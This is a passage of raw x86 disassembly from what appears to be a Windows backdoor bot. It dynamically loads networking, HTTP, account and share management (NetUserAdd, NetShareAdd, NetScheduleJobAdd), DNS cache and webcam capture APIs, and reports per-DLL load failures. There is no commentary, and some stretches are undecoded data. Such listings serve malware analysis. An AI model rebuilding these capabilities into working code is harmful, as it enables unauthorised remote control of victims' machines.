mov ds:dword_42F6E0, eax
push offset aBind ; "bind"
push edi
call esi ; dword_41F0B0
push offset aSelect ; "select"
push edi
mov ds:dword_42F734, eax
call esi ; dword_41F0B0
push offset aListen ; "listen"
push edi
mov ds:dword_42F6F0, eax
call esi ; dword_41F0B0
push offset aAccept ; "accept"
push edi
mov ds:dword_42F730, eax
call esi ; dword_41F0B0
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_42F79C, eax
call esi ; dword_41F0B0
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_42F6E8, eax
call esi ; dword_41F0B0
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_42F6AC, eax
call esi ; dword_41F0B0
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_42F71C, eax
call esi ; dword_41F0B0
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_42F78C, eax
call esi ; dword_41F0B0
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_42F6C0, eax
call esi ; dword_41F0B0
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_42F664, eax
call esi ; dword_41F0B0
cmp ds:dword_42F680, ebx
mov ds:dword_42F7A0, eax
jz loc_407651
cmp ds:dword_42F7AC, ebx
jz loc_407651
cmp ds:dword_42F624, ebx
jz loc_407651
cmp ds:dword_42F6B4, ebx
jz loc_407651
cmp ds:dword_42F69C, ebx
jz loc_407651
cmp ds:dword_42F668, ebx
jz loc_407651
cmp ds:dword_42F788, ebx
jz loc_407651
cmp ds:dword_42F7A4, ebx
jz loc_407651
cmp ds:dword_42F6B0, ebx
jz loc_407651
cmp ds:dword_42F794, ebx
jz loc_407651
cmp ds:dword_42F748, ebx
jz loc_407651
cmp ds:dword_42F708, ebx
jz loc_407651
cmp ds:dword_42F704, ebx
jz loc_407651
cmp ds:dword_42F644, ebx
jz short loc_407651
cmp ds:dword_42F758, ebx
jz short loc_407651
cmp ds:dword_42F76C, ebx
jz short loc_407651
cmp ds:dword_42F720, ebx
jz short loc_407651
cmp ds:dword_42F6E0, ebx
jz short loc_407651
cmp ds:dword_42F734, ebx
jz short loc_407651
cmp ds:dword_42F6F0, ebx
jz short loc_407651
cmp ds:dword_42F730, ebx
jz short loc_407651
cmp ds:dword_42F79C, ebx
jz short loc_407651
cmp ds:dword_42F6E8, ebx
jz short loc_407651
cmp ds:dword_42F6AC, ebx
jz short loc_407651
cmp ds:dword_42F71C, ebx
jz short loc_407651
cmp ds:dword_42F78C, ebx
jz short loc_407651
cmp ds:dword_42F6C0, ebx
jz short loc_407651
cmp eax, ebx
jnz short loc_40765B
jmp short loc_407651
; ---------------------------------------------------------------------------
loc_407646: ; CODE XREF: sub_406E9A+501j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7EC, eax
loc_407651: ; CODE XREF: sub_406E9A+6A0j
; sub_406E9A+6ACj ...
mov ds:dword_42F7E8, 1
loc_40765B: ; CODE XREF: sub_406E9A+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz loc_407760
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; dword_41F0B0
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_42F64C, eax
call esi ; dword_41F0B0
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_42F5D8, eax
call esi ; dword_41F0B0
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_42F6D0, eax
call esi ; dword_41F0B0
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_42F684, eax
call esi ; dword_41F0B0
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_42F6DC, eax
call esi ; dword_41F0B0
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_42F6A0, eax
call esi ; dword_41F0B0
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_42F618, eax
call esi ; dword_41F0B0
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_42F610, eax
call esi ; dword_41F0B0
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_42F620, eax
call esi ; dword_41F0B0
cmp ds:dword_42F64C, ebx
mov ecx, ds:dword_42F6A0
mov ds:dword_42F73C, eax
jz short loc_40773C
cmp ds:dword_42F5D8, ebx
jz short loc_40773C
cmp ds:dword_42F6D0, ebx
jz short loc_40773C
cmp ds:dword_42F684, ebx
jz short loc_40773C
cmp ds:dword_42F6DC, ebx
jz short loc_40773C
cmp ecx, ebx
jz short loc_40773C
cmp ds:dword_42F618, ebx
jz short loc_40773C
cmp ds:dword_42F610, ebx
jz short loc_40773C
cmp ds:dword_42F620, ebx
jz short loc_40773C
cmp eax, ebx
jnz short loc_407746
loc_40773C: ; CODE XREF: sub_406E9A+860j
; sub_406E9A+868j ...
mov ds:dword_42F7F0, 1
loc_407746: ; CODE XREF: sub_406E9A+8A0j
cmp ecx, ebx
jz short loc_40777B
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; dword_42F6A0
cmp eax, ebx
mov ds:dword_42F6B8, eax
jnz short loc_40777B
jmp short loc_407775
; ---------------------------------------------------------------------------
loc_407760: ; CODE XREF: sub_406E9A+7CCj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7F4, eax
mov ds:dword_42F7F0, 1
loc_407775: ; CODE XREF: sub_406E9A+8C4j
mov ds:dword_42F6B8, ebx
loc_40777B: ; CODE XREF: sub_406E9A+8AEj
; sub_406E9A+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_4077C5
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; dword_41F0B0
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_42F694, eax
call esi ; dword_41F0B0
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_42F7C0, eax
call esi ; dword_41F0B0
cmp ds:dword_42F694, ebx
mov ds:dword_42F62C, eax
jz short loc_4077D0
cmp ds:dword_42F7C0, ebx
jz short loc_4077D0
cmp eax, ebx
jnz short loc_4077DA
jmp short loc_4077D0
; ---------------------------------------------------------------------------
loc_4077C5: ; CODE XREF: sub_406E9A+8ECj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7FC, eax
loc_4077D0: ; CODE XREF: sub_406E9A+91Bj
; sub_406E9A+923j ...
mov ds:dword_42F7F8, 1
loc_4077DA: ; CODE XREF: sub_406E9A+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz loc_4078D0
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; dword_41F0B0
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_42F608, eax
call esi ; dword_41F0B0
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_42F5E0, eax
call esi ; dword_41F0B0
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_42F654, eax
call esi ; dword_41F0B0
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_42F688, eax
call esi ; dword_41F0B0
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_42F798, eax
call esi ; dword_41F0B0
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_42F640, eax
call esi ; dword_41F0B0
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_42F5EC, eax
call esi ; dword_41F0B0
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_42F5DC, eax
call esi ; dword_41F0B0
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_42F670, eax
call esi ; dword_41F0B0
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_42F760, eax
call esi ; dword_41F0B0
cmp ds:dword_42F608, ebx
mov ds:dword_42F718, eax
jz short loc_4078DB
cmp ds:dword_42F5E0, ebx
jz short loc_4078DB
cmp ds:dword_42F654, ebx
jz short loc_4078DB
cmp ds:dword_42F688, ebx
jz short loc_4078DB
cmp ds:dword_42F798, ebx
jz short loc_4078DB
cmp ds:dword_42F640, ebx
jz short loc_4078DB
cmp ds:dword_42F5EC, ebx
jz short loc_4078DB
cmp ds:dword_42F5DC, ebx
jz short loc_4078DB
cmp ds:dword_42F670, ebx
jz short loc_4078DB
cmp ds:dword_42F760, ebx
jz short loc_4078DB
cmp eax, ebx
jnz short loc_4078E5
jmp short loc_4078DB
; ---------------------------------------------------------------------------
loc_4078D0: ; CODE XREF: sub_406E9A+94Bj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F804, eax
loc_4078DB: ; CODE XREF: sub_406E9A+9E6j
; sub_406E9A+9EEj ...
mov ds:dword_42F800, 1
loc_4078E5: ; CODE XREF: sub_406E9A+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_40791A
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; dword_41F0B0
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_42F630, eax
call esi ; dword_41F0B0
cmp ds:dword_42F630, ebx
mov ds:dword_42F700, eax
jz short loc_407925
cmp eax, ebx
jnz short loc_40792F
jmp short loc_407925
; ---------------------------------------------------------------------------
loc_40791A: ; CODE XREF: sub_406E9A+A56j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F80C, eax
loc_407925: ; CODE XREF: sub_406E9A+A78j
; sub_406E9A+A7Ej
mov ds:dword_42F808, 1
loc_40792F: ; CODE XREF: sub_406E9A+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_407964
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; dword_41F0B0
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_42F784, eax
call esi ; dword_41F0B0
cmp ds:dword_42F784, ebx
mov ds:dword_42F780, eax
jz short loc_40796F
cmp eax, ebx
jnz short loc_407979
jmp short loc_40796F
; ---------------------------------------------------------------------------
loc_407964: ; CODE XREF: sub_406E9A+AA0j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F814, eax
loc_40796F: ; CODE XREF: sub_406E9A+AC2j
; sub_406E9A+AC8j
mov ds:dword_42F810, 1
loc_407979: ; CODE XREF: sub_406E9A+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_4079D8
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; dword_41F0B0
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_42F7B0, eax
call esi ; dword_41F0B0
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_42F7A8, eax
call esi ; dword_41F0B0
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_42F770, eax
call esi ; dword_41F0B0
cmp ds:dword_42F7B0, ebx
mov ds:dword_42F648, eax
jz short loc_4079E3
cmp ds:dword_42F7A8, ebx
jz short loc_4079E3
cmp ds:dword_42F770, ebx
jz short loc_4079E3
cmp eax, ebx
jnz short loc_4079ED
jmp short loc_4079E3
; ---------------------------------------------------------------------------
loc_4079D8: ; CODE XREF: sub_406E9A+AEAj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F81C, eax
loc_4079E3: ; CODE XREF: sub_406E9A+B26j
; sub_406E9A+B2Ej ...
mov ds:dword_42F818, 1
loc_4079ED: ; CODE XREF: sub_406E9A+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_407A22
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; dword_41F0B0
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_42F67C, eax
call esi ; dword_41F0B0
cmp ds:dword_42F67C, ebx
mov ds:dword_42F77C, eax
jz short loc_407A2D
cmp eax, ebx
jnz short loc_407A37
jmp short loc_407A2D
; ---------------------------------------------------------------------------
loc_407A22: ; CODE XREF: sub_406E9A+B5Ej
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F824, eax
loc_407A2D: ; CODE XREF: sub_406E9A+B80j
; sub_406E9A+B86j
mov ds:dword_42F820, 1
loc_407A37: ; CODE XREF: sub_406E9A+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_407AC0
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; dword_41F0B0
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_42F744, eax
call esi ; dword_41F0B0
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_42F790, eax
call esi ; dword_41F0B0
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_42F6CC, eax
call esi ; dword_41F0B0
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_42F68C, eax
call esi ; dword_41F0B0
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_42F724, eax
call esi ; dword_41F0B0
cmp ds:dword_42F744, ebx
mov ds:dword_42F698, eax
jz short loc_407ACB
cmp ds:dword_42F790, ebx
jz short loc_407ACB
cmp ds:dword_42F6CC, ebx
jz short loc_407ACB
cmp ds:dword_42F68C, ebx
jz short loc_407ACB
cmp ds:dword_42F724, ebx
jz short loc_407ACB
cmp eax, ebx
jnz short loc_407AD5
jmp short loc_407ACB
; ---------------------------------------------------------------------------
loc_407AC0: ; CODE XREF: sub_406E9A+BA8j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F82C, eax
loc_407ACB: ; CODE XREF: sub_406E9A+BFEj
; sub_406E9A+C06j ...
mov ds:dword_42F828, 1
loc_407AD5: ; CODE XREF: sub_406E9A+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz short loc_407B0A
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; dword_41F0B0
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_42F660, eax
call esi ; dword_41F0B0
cmp ds:dword_42F660, ebx
mov ds:dword_42F738, eax
jz short loc_407B15
cmp eax, ebx
jnz short loc_407B1F
jmp short loc_407B15
; ---------------------------------------------------------------------------
loc_407B0A: ; CODE XREF: sub_406E9A+C46j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F834, eax
loc_407B15: ; CODE XREF: sub_406E9A+C68j
; sub_406E9A+C6Ej
mov ds:dword_42F830, 1
loc_407B1F: ; CODE XREF: sub_406E9A+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_406E9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B27 proc near ; CODE XREF: seg000:00410558p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_42F7C8, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_407B6F
push ds:dword_42F7CC
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407B6F: ; CODE XREF: sub_407B27+1Aj
cmp ds:dword_42F7D0, esi
jz short loc_407BA3
push ds:dword_42F7D4
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407BA3: ; CODE XREF: sub_407B27+4Ej
cmp ds:dword_42F7D8, esi
jz short loc_407BD7
push ds:dword_42F7DC
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407BD7: ; CODE XREF: sub_407B27+82j
cmp ds:dword_42F7E0, esi
jz short loc_407C0B
push ds:dword_42F7E4
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407C0B: ; CODE XREF: sub_407B27+B6j
cmp ds:dword_42F7E8, esi
jz short loc_407C3F
push ds:dword_42F7EC
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407C3F: ; CODE XREF: sub_407B27+EAj
cmp ds:dword_42F7F0, esi
jz short loc_407C73
push ds:dword_42F7F4
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407C73: ; CODE XREF: sub_407B27+11Ej
cmp ds:dword_42F7F8, esi
jz short loc_407CA7
push ds:dword_42F7FC
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407CA7: ; CODE XREF: sub_407B27+152j
cmp ds:dword_42F800, esi
jz short loc_407CDB
push ds:dword_42F804
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407CDB: ; CODE XREF: sub_407B27+186j
cmp ds:dword_42F808, esi
jz short loc_407D0F
push ds:dword_42F80C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407D0F: ; CODE XREF: sub_407B27+1BAj
cmp ds:dword_42F810, esi
jz short loc_407D43
push ds:dword_42F814
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407D43: ; CODE XREF: sub_407B27+1EEj
cmp ds:dword_42F818, esi
jz short loc_407D77
push ds:dword_42F81C
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407D77: ; CODE XREF: sub_407B27+222j
cmp ds:dword_42F820, esi
jz short loc_407DAB
push ds:dword_42F824
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407DAB: ; CODE XREF: sub_407B27+256j
cmp ds:dword_42F828, esi
jz short loc_407DDF
push ds:dword_42F82C
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407DDF: ; CODE XREF: sub_407B27+28Aj
cmp ds:dword_42F830, esi
jz short loc_407E13
push ds:dword_42F834
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4135AD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 20h
loc_407E13: ; CODE XREF: sub_407B27+2BEj
lea eax, [ebp+var_200]
push offset dword_425AA4
push eax
call sub_4135AD
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_407E40
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_407E40: ; CODE XREF: sub_407B27+302j
lea eax, [ebp+var_200]
push eax
call sub_409615
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_407B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E52 proc near ; CODE XREF: seg000:0040BFABp
; seg000:0040BFDFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_407EDD
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_407EDD
cmp [ebp+arg_8], esi
jz short loc_407EDD
cmp byte ptr [eax], 0
jz short loc_407EDD
push ebx
push edi
call sub_41DE0B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_407ED8
push [ebp+arg_4]
push edi
call sub_413B80
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_407ED1
sub eax, edi
push eax
push edi
push ebx
call sub_414DD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_413DB0
push eax
push [ebp+arg_8]
push ebx
call sub_414FA0
push [ebp+arg_4]
call sub_413DB0
add eax, esi
push eax
push ebx
call sub_413CD0
push ebx
push edi
call sub_413CC0
add esp, 30h
mov esi, edi
loc_407ED1: ; CODE XREF: sub_407E52+3Cj
push ebx
call sub_413ED3
pop ecx
loc_407ED8: ; CODE XREF: sub_407E52+2Bj
mov eax, esi
pop ebx
jmp short loc_407EDF
; ---------------------------------------------------------------------------
loc_407EDD: ; CODE XREF: sub_407E52+Cj
; sub_407E52+13j ...
xor eax, eax
loc_407EDF: ; CODE XREF: sub_407E52+89j
pop edi
pop esi
pop ebp
retn
sub_407E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407EE3 proc near ; CODE XREF: sub_40B1E3+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_413630
mov esi, [ebp+arg_0]
push esi
call sub_413DB0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_407F19
or eax, 0FFFFFFFFh
jmp short loc_407F8C
; ---------------------------------------------------------------------------
loc_407F19: ; CODE XREF: sub_407EE3+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_407F3B
loc_407F25: ; CODE XREF: sub_407EE3+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_407F32
cmp dl, 0Dh
jnz short loc_407F36
loc_407F32: ; CODE XREF: sub_407EE3+48j
and byte ptr [ecx+esi], 0
loc_407F36: ; CODE XREF: sub_407EE3+4Dj
inc ecx
cmp ecx, eax
jl short loc_407F25
loc_407F3B: ; CODE XREF: sub_407EE3+40j
xor edx, edx
push edi
test eax, eax
jle short loc_407F6C
lea edi, [ebp+var_7CC]
loc_407F48: ; CODE XREF: sub_407EE3+87j
cmp byte ptr [edx+esi], 0
jnz short loc_407F67
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_407F67
cmp ebx, 1F4h
jge short loc_407F6C
mov [edi], ecx
inc ebx
add edi, 4
loc_407F67: ; CODE XREF: sub_407EE3+69j
; sub_407EE3+74j
inc edx
cmp edx, eax
jl short loc_407F48
loc_407F6C: ; CODE XREF: sub_407EE3+5Dj
; sub_407EE3+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_407F8A
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_413690
add esp, 0Ch
loc_407F8A: ; CODE XREF: sub_407EE3+8Ej
mov eax, ebx
loc_407F8C: ; CODE XREF: sub_407EE3+34j
pop esi
pop ebx
leave
retn
sub_407EE3 endp
; =============== S U B R O U T I N E =======================================
sub_407F90 proc near ; CODE XREF: sub_407FEA+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_407FC9
push ebx
mov ebx, edi
loc_407FAD: ; CODE XREF: sub_407F90+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_407FCC
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_407FAD
pop ebx
loc_407FC9: ; CODE XREF: sub_407F90+18j
pop edi
pop esi
retn
sub_407F90 endp
; =============== S U B R O U T I N E =======================================
sub_407FCC proc near ; CODE XREF: sub_407F90+25p
; sub_407FEA+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_415223
cmp al, 61h
pop ecx
jl short loc_407FE7
cmp al, 7Ah
jg short loc_407FE7
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_407FE7: ; CODE XREF: sub_407FCC+Ej
; sub_407FCC+12j
xor eax, eax
retn
sub_407FCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FEA proc near ; CODE XREF: sub_4096F5+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_413E30
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_413DB0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_413DB0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_407F90
add esp, 14h
dec esi
mov edi, esi
loc_408028: ; CODE XREF: sub_407FEA+B6j
test esi, esi
jle short loc_4080A6
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_415223
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_415223
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40809E
loc_40804E: ; CODE XREF: sub_407FEA+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_407FCC
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40806F
mov eax, ecx
loc_40806F: ; CODE XREF: sub_407FEA+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_4080A2
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_415223
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_415223
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40804E
loc_40809E: ; CODE XREF: sub_407FEA+62j
dec edi
dec esi
jmp short loc_408028
; ---------------------------------------------------------------------------
loc_4080A2: ; CODE XREF: sub_407FEA+8Aj
xor eax, eax
jmp short loc_4080AB
; ---------------------------------------------------------------------------
loc_4080A6: ; CODE XREF: sub_407FEA+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_4080AB: ; CODE XREF: sub_407FEA+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_407FEA endp
; ---------------------------------------------------------------------------
loc_4080B0: ; CODE XREF: seg000:0040EEA9p
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_41F068 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp-100h]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 0A70000h
aam 8Dh
test [eax], eax
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h
dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh
dd 858DE67Ch, 0FFFFFF00h, 38BE5056h, 0FF0042F8h, 44680875h
dd 6800425Ch, 200h, 0B9F8E856h, 0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40813A proc near ; CODE XREF: seg000:004104E4p
push esi
push 0
call ds:dword_42F6D8
test eax, eax
jz short loc_408171
push 1
call ds:dword_42F6F8
mov esi, eax
